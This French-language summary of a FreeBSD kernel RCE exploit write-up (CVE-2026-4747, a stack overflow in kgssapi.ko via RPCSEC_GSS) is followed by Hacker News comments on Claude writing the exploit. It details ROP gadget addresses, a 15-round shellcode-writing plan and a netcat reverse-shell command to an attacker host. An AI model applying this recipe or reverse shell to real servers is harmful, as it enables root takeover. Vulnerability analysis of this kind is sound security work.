Obtention d’un shell root via une RCE noyau distante sur FreeBSD (CVE-2026-4747)
(github.com/califio)- Le module
kgssapi.kode FreeBSD permet une exécution de code à distance à cause d’un stack buffer overflow lors du traitement de l’authentification RPCSEC_GSS - La fonction
svc_rpc_gss_validate()copie les données d’identification sans vérification des limites, jusqu’à écraser l’adresse de retour - Un attaquant peut utiliser un ticket Kerberos valide pour injecter une chaîne ROP noyau via le chemin RPCSEC_GSS d’un serveur NFS
- Grâce à un overflow en 15 étapes, il est possible d’écrire puis d’exécuter 432 octets de shellcode dans la zone BSS du noyau, afin d’obtenir un reverse shell avec les privilèges root
- Certaines versions de FreeBSD 13.5 à 15.0 sont affectées ; le correctif ajoute une logique de validation de
oa_length
CVE-2026-4747 — Stack buffer overflow RPCSEC_GSS dans kgssapi.ko de FreeBSD
- Vulnérabilité de stack buffer overflow survenant lors du traitement de l’authentification RPCSEC_GSS dans le module
kgssapi.kode FreeBSD - La fonction
svc_rpc_gss_validate()recopie les données d’identification sans contrôle des limites suroa_lengthlorsqu’elle reconstruit l’en-tête RPC dans un buffer de pile de 128 octets - Après l’en-tête fixe de 32 octets, toute information d’identification dépassant les 96 octets restants écrase les variables locales, les registres sauvegardés et jusqu’à l’adresse de retour
- Les versions FreeBSD 13.5(<p11), 14.3(<p10), 14.4(<p1), 15.0(<p5) sont affectées
- Le correctif ajoute une condition vérifiant avant la copie si
oa_lengthdépasse la taille du buffer
Structure de l’overflow et impact
- L’analyse du prologue de la fonction montre que le tableau
rpchdrse trouve à[rbp-0xc0], et que la copie commence à[rbp-0xa0] - À partir de 96 octets, l’écriture déborde successivement sur RBX, R12 à R15, RBP, puis l’adresse de retour sauvegardée
- Dans l’attaque réelle, à cause de l’en-tête GSS et du handle de contexte de 16 octets, l’adresse de retour se situe au 200e octet du corps des identifiants
- Le code vulnérable n’est atteignable que via le chemin d’authentification RPCSEC_GSS du serveur NFS
- L’attaquant doit être un utilisateur disposant d’un ticket Kerberos valide, puis déclencher l’overflow à l’étape d’authentification RPCSEC_GSS (procédure DATA)
Mise en place de l’environnement d’attaque
- VM cible : FreeBSD 14.4-RELEASE amd64, serveur NFS activé,
kgssapi.kochargé, KDC MIT Kerberos en fonctionnement - Machine attaquante : Linux, module Python3
gssapiet client MIT Kerberos installés, accès à NFS (2049/TCP) et au KDC (88/TCP) - La configuration est possible sur divers hyperviseurs comme QEMU, VMware, VirtualBox ou bhyve
- Pour Kerberos, les paramètres
rdns=falseetdns_canonicalize_hostname=falsedanskrb5.confsont indispensables - Le nom d’hôte (
test) et le principal de service (nfs/test@TEST.LOCAL) doivent correspondre entre la VM et l’attaquant
Structure de l’exploit RCE noyau distant
- L’attaque repose sur un overflow multi-étapes en 15 rounds
- Création d’un nouveau contexte Kerberos GSS à chaque round
- Envoi d’un paquet RPCSEC_GSS DATA surdimensionné
- Écrasement de l’adresse de retour par un gadget ROP pour écrire des données en mémoire noyau ou exécuter le shellcode
- Appel à
kthread_exit()pour terminer proprement le thread NFS
- Chaque round utilise environ 200 octets de chaîne ROP et les 432 octets de shellcode sont transmis sur 15 envois
- FreeBSD crée 8 threads NFS par CPU, ce qui impose au minimum 2 CPU (16 threads)
Composition de la chaîne ROP
- Principaux gadgets ROP :
pop rdi; ret(K+0x1adcda)pop rsi; ret(K+0x1cdf98)pop rdx; ret(K+0x5fa429)pop rax; ret(K+0x400cb4)mov [rdi], rax; ret(0xffffffff80e3457c) — écriture arbitraire de 8 octets en mémoire noyau
- Round 1 : appel à
pmap_change_prot()pour rendre la zone BSS du noyau RWX - Rounds 2–14 : écriture du shellcode dans la BSS par blocs de 32 octets avec le gadget
mov [rdi], rax - Round 15 : écriture des 16 derniers octets, puis saut vers le point d’entrée du shellcode
Fonctionnement du shellcode
- Il s’exécute en mode noyau (CPL 0) et crée un processus de reverse shell avec les privilèges root
- Comme un appel direct à
execve()est impossible depuis le thread noyau NFS, l’exploit utilise une structure en deux étapes- Fonction d’entrée : création d’un nouveau processus noyau via
kproc_create(), puis sortie - Fonction worker : exécution de
/bin/sh -c "mkfifo /tmp/f;sh</tmp/f|nc ATTACKER 4444>/tmp/f"
- Fonction d’entrée : création d’un nouveau processus noyau via
- Initialisation du registre
DR7pour éviter les exceptions de debug - Suppression du flag
P_KPROCafin quefork_exit()emprunte le cheminuserretau lieu dekthread_exit() - Au final,
/bin/shs’exécute en mode utilisateur avec les privilèges uid 0 (root)
Principaux problèmes résolus
- Décalage d’offset des registres : le véritable offset RIP à 200 octets a été confirmé avec un motif De Bruijn
- Incompatibilité GSS MIT–Heimdal : le problème de normalisation du nom d’hôte a été résolu via la configuration de
krb5.conf - Héritage des registres de debug : initialisation de
DR7pour éviter l’exceptiontrap 1 - Limite de 400 octets : transmission fiable par blocs de 8 octets grâce à la combinaison
pop rdi + pop rax + mov [rdi], rax - Épuisement des threads NFS : chaque round termine 1 thread, d’où la nécessité d’au moins 2 CPU
Résumé du déroulement final de l’exploit
- L’attaquant obtient un ticket Kerberos puis envoie successivement 15 paquets d’overflow RPCSEC_GSS
- Round 1 : passage de la BSS en RWX
- Rounds 2–14 : écriture de 416 octets de shellcode
- Round 15 : écriture des 16 derniers octets et exécution du shellcode
- Le shellcode crée un nouveau processus avec
kproc_create()puis exécute/bin/sh - L’attaquant obtient un shell root via une session
nc - L’ensemble de l’opération prend environ 45 secondes et se réalise avec un total de 15 paquets RPC
1 commentaires
Réactions sur Hacker News
Le point clé, c’est que Claude n’a pas trouvé le bug directement : il a pris le rapport CVE déjà publié et a écrit un programme exploitant cette vulnérabilité
Mais au rythme actuel des progrès, l’époque où des modèles comme Claude analyseront le code source du noyau ou de services critiques et trouveront automatiquement de nouvelles CVE via des expérimentations répétées dans des VM ne semble plus très loin
Avant, le coût de découverte des CVE était si élevé que seuls les attaquants motivés par le profit s’y essayaient
Maintenant que le coût baisse, des chercheurs bien intentionnés peuvent aussi les découvrir plus facilement, ce qui crée un contexte où l’on peut corriger avant l’exploitation
Aujourd’hui, on a l’impression que des modèles comme Claude Code pourraient analyser une base de code, suggérer quoi fuzz-tester et comment, examiner les crashs, puis trouver des CVE en apprenant par itérations
Nicholas Carlini l’a trouvée chez Anthropic en utilisant Claude, et c’est ce qui a conduit à la rédaction du rapport CVE
Pour ce type de fuzzing automatisé, les LLM sont plutôt bien adaptés
Claude trouve déjà des CVE à un niveau proche de celui d’un expert
La société de Thai Duong, Calif, a publié un billet de blog récapitulant ce cas
Les prompts utilisés y figurent aussi, et ce bug a lui aussi été découvert par Claude via Nicholas Carlini
FreeBSD 14.x n’avait ni KASLR (randomisation de l’espace d’adressage du noyau) ni canari de pile, ce qui rendait l’attaque plus facile
Je me demande si FreeBSD 15.x améliore cela
À titre de référence, NetBSD dispose déjà d’une fonction KASLR
On peut le vérifier avec
sysctl kern.elf64.aslr.enable: 1Selon ce message de forum, certains estiment que KASLR donne surtout une illusion de sécurité et renforce peu la sécurité en pratique
À voir la récente présentation « Black-Hat LLMs », les LLM deviennent de plus en plus compétents en recherche de vulnérabilités et en exploitation
On en voyait les signes dès que Sam Altman a publié en décembre dernier ce tweet disant qu’il recrutait un Head of Preparedness
Le plus difficile, c’est de trouver les vulnérabilités, pas de les corriger
La plupart des chercheurs en sécurité ne les divulguent pas pour des raisons financières
Donc si la détection automatisée devient possible, ce sera dangereux, mais très bénéfique à long terme
Sinon, cela risque de devenir une charge supplémentaire pour les développeurs open source
Un peu comme l’ancienne controverse sur les correctifs de sécurité entre Google et FFmpeg
Merci d’avoir partagé la collection de prompts rendue publique
Ce type d’automatisation peut représenter un gain de temps pour les équipes de développement, mais n’a peut-être pas beaucoup de valeur pour les utilisateurs ordinaires
De nos jours, les bugs du noyau ne sont déjà plus trouvés manuellement
Si les gens parlent autant de Claude, c’est probablement surtout l’effet promotionnel d’Anthropic
Il faut désormais moins se focaliser sur le fait que « Claude a écrit le code » que sur la qualité et la maintenabilité de ce code
Je me demande si le code écrit par Claude a réellement une structure maintenable, ou s’il est complètement bancal
Ce genre de cas montre l’autonomie et la puissance des agents
En même temps, c’est aussi un exemple qui met en évidence l’inquiétude des entreprises face au contrôle et le besoin de gouvernance
C’était intéressant de pouvoir consulter l’historique complet des prompts